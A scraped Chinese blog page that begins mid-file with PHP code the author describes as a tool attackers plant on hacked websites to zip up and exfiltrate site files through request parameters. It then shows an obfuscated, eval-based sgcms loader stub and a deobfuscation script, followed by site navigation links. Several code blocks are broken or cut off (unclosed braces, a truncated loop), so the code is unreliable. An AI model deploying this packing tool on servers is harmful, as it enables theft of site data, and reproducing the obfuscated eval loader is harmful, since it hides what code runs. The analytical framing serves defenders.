$dirstr .= "\x08\x00";

$dirstr .= $hexdtime;

$dirstr .= pack('V',$crc);

$dirstr .= pack('V',$c_len);

$dirstr .= pack('V',$unc_len);

$dirstr .= pack('v',strlen($name) );

$dirstr .= pack('v',0 );

$dirstr .= pack('V',32 );

$dirstr .= pack('V',$this->datastr_len );

$dirstr .= $name;

$this->dirstr .= $dirstr;

$this ->file_count ++;

$this ->dirstr_len += strlen($dirstr);

$this ->datastr_len += $my_datastr_len;

}

function adddir($name)

{

$name = str_replace("\\",'/',$name);

$datastr = "\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00";

$datastr .= pack('V',0).pack('V',0).pack('V',0).pack('v',strlen($name) );

$datastr .= pack('v',0 ).$name.pack('V',0).pack('V',0).pack('V',0);

fwrite($this->fp,$datastr);

$my_datastr_len = strlen($datastr);

unset($datastr);

$dirstr = "\x50\x4b\x01\x02\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00";

$dirstr .= pack('V',0).pack('V',0).pack('V',0).pack('v',strlen($name) );

$dirstr .= pack('v',0 ).pack('v',0 ).pack('v',0 ).pack('v',0 );

$dirstr .= pack('V',16 ).pack('V',$this->datastr_len).$name;

$this->dirstr .= $dirstr;

$this ->file_count ++;

$this ->dirstr_len += strlen($dirstr);

$this ->datastr_len += $my_datastr_len;

}

function createfile()

{

$endstr = "\x50\x4b\x05\x06\x00\x00\x00\x00".

pack('v',$this ->file_count) .

pack('V',$this ->dirstr_len) .

pack('V',$this ->datastr_len) .

"\x00\x00";

fwrite($this->fp,$this->dirstr.$endstr);

fclose($this->fp);

}

if(!trim($_REQUEST[zipname]))

$_REQUEST[zipname] = 'dodozip.zip';

else

$_REQUEST[zipname] = trim($_REQUEST[zipname]);

if(!strrchr(strtolower($_REQUEST[zipname]),'.')=='.zip')

$_REQUEST[zipname] .= '.zip';

$_REQUEST[todir] = str_replace('\\','/',trim($_REQUEST[todir]));

if(!strrchr(strtolower($_REQUEST[todir]),'/')=='/')

$_REQUEST[todir] .= '/';

if($_REQUEST[todir]=='/')

$_REQUEST[todir] = './';

function listfiles($dir='.')

{

global $dodozip;

$sub_file_num = 0;

if(is_file("$dir"))

{

if(realpath($dodozip ->gzfilename)!=realpath("$dir"))

{

$dodozip ->addfile(implode('',file("$dir")),"$dir");

return 1;

}

return 0;

}

$handle=opendir("$dir");

while ($file = readdir($handle))

{

if($file=='.'||$file=='..')

continue;

if(is_dir("$dir/$file"))

{

$sub_file_num += listfiles("$dir/$file");

}

else

{

if(realpath($dodozip ->gzfilename)!=realpath("$dir/$file"))

{

$dodozip ->addfile(implode('',file("$dir/$file")),"$dir/$file");

$sub_file_num ++;

}

closedir($handle);

if(!$sub_file_num)

$dodozip ->addfile('',"$dir/");

return $sub_file_num;

}

function num_bitunit($num)

{

$bitunit=array(' B',' KB',' MB',' GB');

for($key=0;$key

{

if($num>=pow(2,10*$key)-1)

{

$num_bitunit_str=(ceil($num/pow(2,10*$key)*100)/100)." $bitunit[$key]";

}

return $num_bitunit_str;

}

if(is_array($_REQUEST[dfile]))

{

$dodozip = new PHPzip;

if($_REQUEST['filetype'] != NULL)

$dodozip ->SetFileFilter($_REQUEST['filetype']);

if($dodozip ->startfile("$_REQUEST[todir]$_REQUEST[zipname]"))

{

echo 'Working,Please wait...

';

$filenum = 0;

foreach($_REQUEST[dfile] as $file)

{

if(is_file($file))

{

if(!empty($dodozip ->filefilters))

if (!in_array(end(explode('.',$file)),$dodozip ->filefilters))

continue;

echo "2 $file
";

}

else

{

echo "0 $file
";

}

$filenum += listfiles($file);

}

$dodozip ->createfile();

echo "
success,For $filenum files.Url:$_REQUEST[todir]$_REQUEST[zipname] (".num_bitunit(filesize("$_REQUEST[todir]$_REQUEST[zipname]")).')';

}

else

{

echo "$_REQUEST[todir]$_REQUEST[zipname] Error,Unable to write file.
";

}

;echo '

';?>

这是一个用来打包成zip的php代码，这些鸟人为了黑别人的网站什么办法都用，真恶心~~

下如是一个高人写的ThinkPHP框架(sgcms)解密程序：

// This file is protected by sgcms & provided under license.

$OOO0O0O00=__FILE__;

$OOO000000=urldecode('th6sbehqla4co_sadfpnr');

$OO00O0000=21496;

$OOO0000O0=$OOO000000{4}.

$OOO000000{9}.$OOO000000{3}.$OOO000000{5};

$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};

$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};

$O0O0000O0='OOO0000O0';

eval(($$O0O0000O0('JE9PME9PMDAwMD0kT09PMDAwMDAwezE3fS4kT09PMDAwM...

很明显，是使用了某种PHP代码混淆工具混淆了下，Google网上搜了下，问题解决，给遇到同样问题的朋友一个方便。

解密php文件：

$filename="GlobalAction.class.php";//要解密的文件

$lines = file($filename);//0,1,2行

//第一次base64解密

$content="";

if(preg_match("/O0O0000O0$'.*'$/",$lines[1],$y))

{

$content=str_replace("O0O0000O0('","",$y[0]);

$content=str_replace("')","",$content);

$content=base64_decode($content);

}

//第一次base64解密后的内容中查找密钥

$decode_key="";

if(preg_match("/\),'.*',/",$content,$k))

{

$decode_key=str_replace("),'","",$k[0]);

$decode_key=str_replace("',","",$decode_key);

}

//查找要截取字符串长度

$str_length="";

if(preg_match("/,\d*\),/",$content,$k))

{

$str_length=str_replace("),","",$k[0]);

$str_length=str_replace(",","",$str_length);

}

//截取文件加密后的密文

$Secret=substr($lines[2],$str_length);

//echo $Secret;

//直接还原密文输出

echo "

'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')).

"?>";

标签：文件

暂时没有评论，来抢沙发吧~

PHP隐形一句话后门，和ThinkPHP框架加密码程序(base64_decode)

java中的接口是类吗

Spring中的aware接口详情

Python接口自动化之文件上传/下载接口怎么实现

推荐文章

接口调用是什么意思？几种常用接口调用方式

接口设计原则

8款在线 API 接口文档管理工具

api管理系统是什么？

什么是接口调试？接口调试的步骤有哪些？

api 接口管理系统有哪些？

接口测试有几种测试方法

API文档生成工具有哪些？

微服务和api网关区别

交换机配置步骤

最近发表

热评文章

在线接口文档管理工具推荐，支持在线测试，HTTP接口

开源的在线接口文档wiki工具Mindoc的介绍与使

如何优雅的进行接口设计？接口设计的六大原则是什么？

什么是API测试,api检测公司

软件接口设计怎么做？前后端分离软件接口设计思路

接口管理平台推荐，几大接口管理平台总有一款适合你！